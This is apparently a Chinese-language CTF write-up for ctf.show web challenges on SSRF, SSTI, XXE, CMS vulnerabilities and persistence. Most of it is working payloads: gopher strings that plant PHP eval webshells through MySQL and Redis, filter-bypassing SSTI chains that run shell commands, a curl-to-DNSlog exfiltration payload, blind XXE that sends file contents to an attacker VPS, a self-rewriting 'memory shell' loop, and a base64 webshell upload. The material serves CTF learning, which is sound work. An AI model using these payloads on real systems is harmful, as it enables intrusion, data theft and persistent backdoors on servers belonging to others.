error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

限制小于三,我们可以使用:

url=http://0/flag.php

0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
    die('ip!');
}


echo file_get_contents($_POST['url']);
}
else{
    die('scheme');
}
?>

排除了私有地址和保留地址,我直接在自己网站放放了个重定向网页:

    <?php
    header("Location:http://127.0.0.1/flag.php");
    ?>

用我的也行,直接传:

url=http://121.36.193.62/403.php

web358

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
} 

parse_url()函数是解析 URL,并返回url的组成部分,我们可以用http://ctf.@127.0.0.1/flag.php?show或者http://ctf.@127.0.0.1/flag.php#show满足首部为http://ctf,尾部为show

url=http://ctf.@127.0.0.1/flag.php#show

web359

在check.php里post:

returl=gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%254a%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2527%253c%253f%2570%2568%2570%2520%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2563%256d%2564%255d%2529%253b%253f%253e%2527%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2527%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2573%2573%2572%2566%252e%2570%2568%2570%2527%2501%2500%2500%2500%2501

然后在新生成的木马ssrf.php里执行命令即可:

cmd=system("cat /flag.txt");

原理就是Gopherus打无密码mysql,先下载https://github.com/tarunkant,然后运行:

python2 gopherus.py --exploit mysql
select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/ssrf.php'

生成的payload对_后面进行url编码

web360

url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252430%250D%250A%250A%250A%253C%253Fphp%2520eval%2528%2524_POST%255Bcmd%255D%2529%253B%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

然后用shell.php用cmd传命令即可

过程和上面那道差不多

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2430%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5Bcmd%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

然后对_后面进行url编码

web入门·SSTI

SSTI的基本思路就是利用python中的魔术方法找到自己要用的函数

__dict__ 保存类实例或对象实例的属性变量键值对字典
__class__  返回类型所属的对象
__mro__    返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
__bases__   返回该对象所继承的基类
// __base__和__mro__都是用来寻找基类的

__subclasses__   每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
__init__  类的初始化方法
__globals__  对包含函数全局变量的字典的引用

web361

抄的CTFSHOW-SSTI

1、先找基类object,用空字符串""来找
在python中,object类是Python中所有类的基类,如果定义一个类时没有指定继承哪个类,则默认继承object类。
使用?name={{"".__class__}},得到空字符串的类<class 'str'>
点号. :python中用来访问变量的属性
__class__:类的一个内置属性,表示实例对象空字符串""的类。

然后使用?name={{"".__class__.__mro__}},得到(<class 'tuple'>, <class 'object'>)
__mro__       method resolution order,即解析方法调用的顺序;此属性是由类组成的元组,在方法解析期间会基于它来查找基类。

然后再用?name={{().__class__.__mro__[-1]}},取得最后一个东西即空字符串的类的基类<class 'object'>
或者使用?name={{"".__class__.__bases__}},得到空字符串的类的基类<class 'object'>
__base__             类型对象的直接基类
__bases__           类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__

2、得到基类之后,找到这个基类的子类集合
使用?name={{().__class__.__mro__[1].__subclasses__()}}
__subclasses__()     返回这个类的子类集合,每个类都保留一个对其直接子类的弱引用列表。该方法返回一个列表,其中包含所有仍然存在的引用。列表按照定义顺序排列。

3、找到其所有子类集合之后找一个我们能够使用的类,要求是这个类的某个方法能够被我们用于执行、找到flag
这里使用其第133个类([0]是第一个类)<class 'os._wrap_close'>
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132]}},得到<class 'os._wrap_close'>

<class 'os._wrap_close'>        这个类有个popen方法可以执行系统命令

4、实例化我们找到的类对象
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__}},实例化这个类
__init__             初始化类,返回的类型是function

5、找到这个实例化对象的所有方法
使用?name={{"".__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__}}
__globals__          使用方式是 function.__globals__获取function所处空间下可使用的module、方法以及所有变量。

6、根据方法寻找flag
?name={{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

popen()一个方法,用于执行命令
read() 从文件当前位置起读取size个字节,若无参数size,则表示读取至文件结束为止,它范围为字符串对象

web362

def translate_digits(s):
    mapping = str.maketrans("0123456789", "0123456789")
    return s.translate(mapping)

def translate_letters_encode(s):
    mapping = str.maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "𝐚𝐛𝐜𝐝𝐞𝐟𝐠𝐡𝐢𝐣𝐤𝐥𝐦𝐧𝐨𝐩𝐪𝐫𝐬𝐭𝐮𝐯𝐰𝐱𝐲𝐳𝐀𝐁𝐂𝐃𝐄𝐅𝐆𝐇𝐈𝐉𝐊𝐋𝐌𝐍𝐎𝐏𝐐𝐑𝐒𝐓𝐔𝐕𝐖𝐗𝐘𝐙")
    return s.translate(mapping)

def translate_letters_fullangle(s):
    mapping = str.maketrans("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ", "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ")
    return s.translate(mapping)

s = "{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}"
s = translate_digits(s)
print(s)

过滤了数字,用全角bypass一下即可

{{().__class__.__mro__[-1].__subclasses__()[132].__init__.__globals__['popen']('cat /flag').read()}}

web363

过滤了单双引号,使用命令执行拼接一下

?a=os&b=popen&c=cat /flag&name={{url_for.__globals__[request.args.a][request.args.b](request.args.c).read()}}

web364

过滤了args,换其他参数传值即可

?name={{url_for.__globals__[request.cookies.a][request.cookies.b](request.cookies.c).read()}}

Cookie:a=os;b=popen;c=cat /flag

web365

过滤了中括号[]

?name={{url_for.__globals__.os.popen(request.cookies.a).read()}}

Cookie:a=cat /flag

web366

过滤了下划线,我们可以使用attr方法,request|attr(request.cookies.a)等价于request[“a”]

?name={{(lipsum|attr(request.cookies.a)).os.popen(request.cookies.b).read()}}

Cookie:a=__globals__;b=cat /flag

web367

过滤os,继续绕即可

?name={{(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read()}}

Cookie:a=__globals__;b=os;c=cat /flag

web368

ban掉了{{

?name={% print(lipsum|attr(request.cookies.a)).get(request.cookies.b).popen(request.cookies.c).read() %}

Cookie:a=__globals__;b=os;c=cat /flag

web369

ban掉了request,{%%}执行代码、拼接字符赋值给变量

{% set po=dict(po=a,p=a)|join%}  #通过dict()和join构造pop

{% set a=(()|select|string|list)|attr(po)(24)%} #a等价于下划线

{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}  #通过拼接得到__init__
#glo、geti、built同理
#再往后,调用chr,构造/flag,读取文件
?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

web370

ban掉了数字,用之前那个脚本替换一下即可

?name=
{% set po=dict(po=a,p=a)|join%}
{% set a=(()|select|string|list)|attr(po)(24)%}
{% set ini=(a,a,dict(init=a)|join,a,a)|join()%}
{% set glo=(a,a,dict(globals=a)|join,a,a)|join()%}
{% set geti=(a,a,dict(getitem=a)|join,a,a)|join()%}
{% set built=(a,a,dict(builtins=a)|join,a,a)|join()%}
{% set x=(q|attr(ini)|attr(glo)|attr(geti))(built)%}
{% set chr=x.chr%}
{% set file=chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%}
{%print(x.open(file).read())%}

web371

ban了print,curl外带

取dnslog上找个没数字的ip

?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|count%}{%set k=dict(eeeeeeeee=a)|join|count%}{%set l=dict(eeeeeeee=a)|join|count%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|count%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|count%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(qjvpco=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}ataoyyds{%endif%}

web372

用length替换count

Payload:?name={%set a=dict(po=aa,p=aa)|join%}{%set j=dict(eeeeeeeeeeeeeeeeee=a)|join|length%}{%set k=dict(eeeeeeeee=a)|join|length%}{%set l=dict(eeeeeeee=a)|join|length%}{%set n=dict(eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee=a)|join|length%}{%set m=dict(eeeeeeeeeeeeeeeeeeee=a)|join|length%}{% set b=(lipsum|string|list)|attr(a)(j)%}{%set c=(b,b,dict(glob=cc,als=aa)|join,b,b)|join%}{%set d=(b,b,dict(getit=cc,em=aa)|join,b,b)|join%}{%set e=dict(o=cc,s=aa)|join%}{% set f=(lipsum|string|list)|attr(a)(k)%}{%set g=(((lipsum|attr(c))|attr(d)(e))|string|list)|attr(a)(-l)%}{%set p=((lipsum|attr(c))|string|list)|attr(a)(n)%}{%set q=((lipsum|attr(c))|string|list)|attr(a)(m)%}{%set i=(dict(curl=aa)|join,f,p,dict(cat=a)|join,f,g,dict(flag=aa)|join,p,q,dict(qybgbf=a)|join,q,dict(dnslog=a)|join,q,dict(cn=a)|join)|join%}{%if ((lipsum|attr(c))|attr(d)(e)).popen(i)%}atao{%endif%}

web入门·XXE

XXE 是 XML 外部实体注入攻击,XML 中可以通过调用实体来请求本地或者远程内容,和远程文件保护类似,会引发相关安全问题,例如敏感文件读取。修复方式:XML 解析库在调用时严格禁止对外部实体的解析。

XML是一种非常流行的标记语言,在1990年代后期首次标准化,并被无数的软件项目所采用。它用于配置文件,文档格式(如OOXML,ODF,PDF,RSS,…),图像格式(SVG,EXIF标题)和网络协议(WebDAV,CalDAV,XMLRPC,SOAP,XMPP,SAML, XACML,…),他应用的如此的普遍以至于他出现的任何问题都会带来灾难性的结果。

在解析外部实体的过程中,XML解析器可以根据URL中指定的方案(协议)来查询各种网络协议和服务(DNS,FTP,HTTP,SMB等)。 外部实体对于在文档中创建动态引用非常有用,这样对引用资源所做的任何更改都会在文档中自动更新。 但是,在处理外部实体时,可以针对应用程序启动许多攻击。 这些攻击包括泄露本地系统文件,这些文件可能包含密码和私人用户数据等敏感数据,或利用各种方案的网络访问功能来操纵内部应用程序。 通过将这些攻击与其他实现缺陷相结合,这些攻击的范围可以扩展到客户端内存损坏,任意代码执行,甚至服务中断,具体取决于这些攻击的上下文。

XML 文档有自己的一个格式规范,这个格式规范是由一个叫做 DTD(document type definition) 的东西控制的,他就是长得下面这个样子

1.通用实体

用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE updateProfile [<!ENTITY file SYSTEM "file:///c:/windows/win.ini"> ]> 
<updateProfile>  
    <firstname>Joe</firstname>  
    <lastname>&file;</lastname>  
    ... 
</updateProfile>

2.参数实体:

(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用
(2)只有在 DTD 文件中,参数实体的声明才能引用其他实体
(3)和通用实体一样,参数实体也可以外部引用

示例代码:

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>"> 
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd"> 
%an-element; %remote-dtd;

web373

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    //DOMDocument,表示整个HTML或XML文档;作为文档树的根。
    $dom = new DOMDocument();
    //loadXML,从一个字符串中,加载一个XML文档
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    //将XML文档作为一个导入一个XML对象
    $creds = simplexml_import_dom($dom);
    //XML对象指向ctfshow的元素标签
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);    

这里我们就可以POST传一个读取服务器的xml,被php://input解析并加载后,通过echo我们就可以看到flag了:

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<sun>
<ctfshow>&xxe;</ctfshow>
</sun>

web374

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);   

这里load完就不echo了,也就是没回显了,我们可以考虑外带到自己的vps上:

xml.php

<?php
$content = $_GET['1'];
if(isset($content)){
    file_put_contents('flag.txt','Last update time:'.date("Y-m-d H:i:s")."\n".base64_decode($content));
}else{
    echo 'no data input';
}

xxe.xml

<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http:/vps/xml.php?1=%file;'"
>
%all;

把这两个文件放在自己vps的网站目录里,payload:

<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps/xxe.xml">
%remote;
%send;
]>

原理就是用xml多次外带最后接受flag数据,后面在自己服务器上的flag.txt就是flag的内容了

web375

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

过滤了版本号,但我们本来就没用这个,payload还是:

<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps/xxe.xml">
%remote;
%send;
]>

web376

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

同上

web377

<?php

error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
    die('error');
}
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);    

多过滤了 http 头,利用 utf-16 编码

import requests
url = 'http://5d09502d-95cc-48df-a33f-0c87a79d628e.challenge.ctf.show/'
payload = '''
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://vps/xxe.xml">
%remote;
%send;
]>
'''
payload = payload.encode('utf-16')
rep = requests.post(url=url, data=payload)
print(rep.text)

web378

抓包可以发现登录传值是以xml形式传的,所以替换成我们的xml payload即可

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user>
<username>&file;</username>
<password>123</password>
</user>

web入门·CMS

web477

/admin进后台,账号密码都是admin,模板处有个自定义标签,添加标签,payload为:

1111111111";}<?php phpinfo()?>

然后预览,全局搜索ctfshow{即可

web478

PHPCMSv9.6.0前端任意文件上传漏洞分析

web479

参考iCMS-7.0.1后台登录绕过分析

GET /admincp.php HTTP/1.1
Host: 56520f28-8ca2-40ef-8dff-6ee0c476aa37.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: _ga=GA1.2.178448525.1671190440;iCMS_iCMS_AUTH=200b0c70aTDO4VR0iaABkIaqxhTDoDkQCdKpODWfphpw3hG%2BGfm47PMHJP32HEAgrAOwA9XWA1L96fSY9oc
X-forwarded-for:192.168.0.1 
Upgrade-Insecure-Requests: 1

web480

[CVE-2016-7565]Exponent CMS 2.3.9 配置文件写入 getshell分析

index.php?conf[USER]=25\\');system("cat /f*");//

写马那个没法执行,很抽象,直接get flag吧,然后访问/config.php

web481

<?php
error_reporting(0);

if(md5($_GET['session'])=='3e858ccd79287cfe8509f15a71b4c45d'){
$configs="c"."o"."p"."y";
$configs(trim($_GET['url']),$_GET['cms']);}

?>
nothing here

3e858ccd79287cfe8509f15a71b4c45d解出来是ctfshow,$configs实际上就是copy,所以这里实际上执行的就是:

copy(trim($_GET['url']),$_GET['cms']);}

trim($str) 是 PHP 内置函数,用于去除字符串两端的空格和特殊字符,默认情况下会去除空格、制表符、换行符、回车符、垂直制表符等常见的不可见字符,返回处理后的字符串结果,没啥用,所以这里实际上执行的就是把$_GET[‘url’])文件复制到$_GET[‘cms’])路径去,然后没有任何其他过滤。

web483

inc/class.inc.php中的GuideFidCache

/*导航条缓存*/
    function GuideFidCache($table,$filename="guide_fid.php",$TruePath=0){
        global $db,$webdb,$pre;
        if($table=="{$pre}sort"&&$webdb[sortNUM]>500){
            return ;
        }
        $show="<?php \r\n";
        //$showindex="<a href='javascript:guide_link(0);' class='guide_menu'>>首页</a>";
        $showindex="<a href='\$webdb[www_url]' class='guide_menu'>>首页</a>";
        $query=$db->query("SELECT fid,name FROM $table ");
        // 带双引号写入变量,并且未过滤。
        while( @extract($db->fetch_array($query)) ){
            $show.="\$GuideFid[$fid]=\"$showindex".$this->SortFather($table,$fid)."\";\r\n";
        }
        $show.=$shows.'?>';
        if($TruePath==1){
            write_file($filename,$show);
        }else{
            write_file(ROOT_PATH."data/$filename",$show);
        }
    }

这里使用了双引号写入变量,并且没有任何过滤,直接添加栏目写马即可

web484

application\api\controller\Uploadify.php

$src = file_get_contents('php://input');//使用php伪协议写入
        if (preg_match("#^data:image/(\w+);base64,(.*)$#", $src, $matches)) { //matches被赋值为搜索出来的结果
            $previewUrl = sprintf(
                "%s://%s%s",//类c的输出语言
                isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] != 'off' ? 'https' : 'http',//输出http或者https
                $_SERVER['HTTP_HOST'],$_SERVER['REQUEST_URI']//host,不重要的东西
            );
            $previewUrl = str_replace("preview.php", "", $previewUrl);//如果previewUrl也有preview.php则过滤
            $base64 = $matches[2];//获取base64数据
            $type = $matches[1];//获取base64后缀
            if ($type === 'jpeg') {
                $type = 'jpg';
            }//没什么用的判断
        
            $filename = md5($base64).".$type";//将传入的base64那儿进行md5加密,再添上文件类型
            $filePath = $DIR.DIRECTORY_SEPARATOR.$filename;//文件存放路径位preveiw/文件名
        
            if (file_exists($filePath)) {//存在即返回存在的路径
                die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');
            } else {
                $data = base64_decode($base64);//不存在就进行base64解密
                file_put_contents($filePath, $data);//并且写入文件
                die('{"jsonrpc" : "2.0", "result" : "'.$previewUrl.'preview/'.$filename.'", "id" : "id"}');//返回文件路径
            }
POST /index.php/api/Uploadify/preview HTTP/1.1
Host: 10d34198-db12-45a9-89ab-8dac8ef54435.challenge.ctf.show
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 58
Origin: http://10d34198-db12-45a9-89ab-8dac8ef54435.challenge.ctf.show
Connection: close
Referer: http://10d34198-db12-45a9-89ab-8dac8ef54435.challenge.ctf.show/index.php/api/Uploadify/preview
Cookie: _ga=GA1.2.178448525.1671190440; PHPSESSID=qnm7dn426n8jql0ltpq0vcsi92
Upgrade-Insecure-Requests: 1

data:image/php;base64,PD9waHAgc3lzdGVtKCJjYXQgL2YqIik7ID8+

然后访问给的那个地址就行了,这里直接解析data协议然后把内容写进php了

web入门·终极考核

web640

主页源码里

web641

请求头里

web入门·权限维持

web670-676


<?php

// 题目说明:
// 想办法维持权限,确定无误后提交check,通过check后,才会生成flag,此前flag不存在

error_reporting(0);
highlight_file(__FILE__);

$a=$_GET['action'];

switch($a){
    case 'cmd':
        eval($_POST['cmd']);
        break;
    case 'check':
        file_get_contents("http://checker/api/check");
        break;
    default:
        die('params not validate');
}

抄的羽师傅博客,用内存马

<?php
    ignore_user_abort(true);
    set_time_limit(0);
    unlink(__FILE__);
    $file = 'shell.php';
    $code = '<?php @eval($_POST[1]);?>';
    while (1) {
        file_put_contents($file, $code);
        usleep(5000);
    }
?>
 
import requests
url="http://6143fdfc-94e3-4698-824f-f5da79a33081.challenge.ctf.show/"
data1={'cmd':"file_put_contents('a.php',\"<?php ignore_user_abort(true);set_time_limit(0);unlink(__FILE__);\\$file = 'shell.php';\\$code = '<?php @eval(\\$_POST[1]);?>';while (1) {file_put_contents(\\$file, \\$code);usleep(5000);}?>\");"}
r=requests.post(url+'?action=cmd',data=data1)
try:
	requests.get(url+'a.php',timeout=(1,1))
except:
	requests.get(url+'?action=check')
	r=requests.post(url+'shell.php',data={'1':'system("cat /f*");'})
	print(r.text)

注意,第一题flag的位置在url/flag_ss.txt,直接cat根目录cat不到

web677-678

这两道题我们现在出了tmp目录没有写入权限了,我们可以通过while循环持续的打开flag

cmd=system('while true;do cat /tmp/f*;done');

web入门·大赛原题

web680

主页只有一句post code to run!POST了一个phpinfo();发现大量disable_function:

assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstoped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,fopen,file_get_contents,fread,file,readfile,opendir,readdir,closedir,rewinddir

常见命令执行没啥戏了,但还是有办法读文件:

code=print_r(scandir('./'));
code=highlight_file("secret_you_never_know");

事实上知道了路径直接访问也能拿到flag

web778

有点抽象。

TP里可以用xxx.com/info/index.php?g=Home&m=Category&a=index这种方式访问二级目录,这里我们可以用

url/index.php?g=index&m=home&a=index&doge[_filename]=/var/log/nginx/access.log

访问到日志,然后user-agent日志写马即可。

蚁剑连日志

web779

主页就是个提交框,问你要最喜欢的宝可梦是啥,直接f12可以看到hint:

<!-- CTFSHOW hint: 
              // /flag
              function DefenderBonus($Pokemon){
                  if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
                      die('catch broken Pokemon! mew-_-two');
                  }
                  else{
                      return $Pokemon;
                  }

              }

              function ghostpokemon($Pokemon){
                  if(is_array($Pokemon)){
                      foreach ($Pokemon as $key => $pks) {
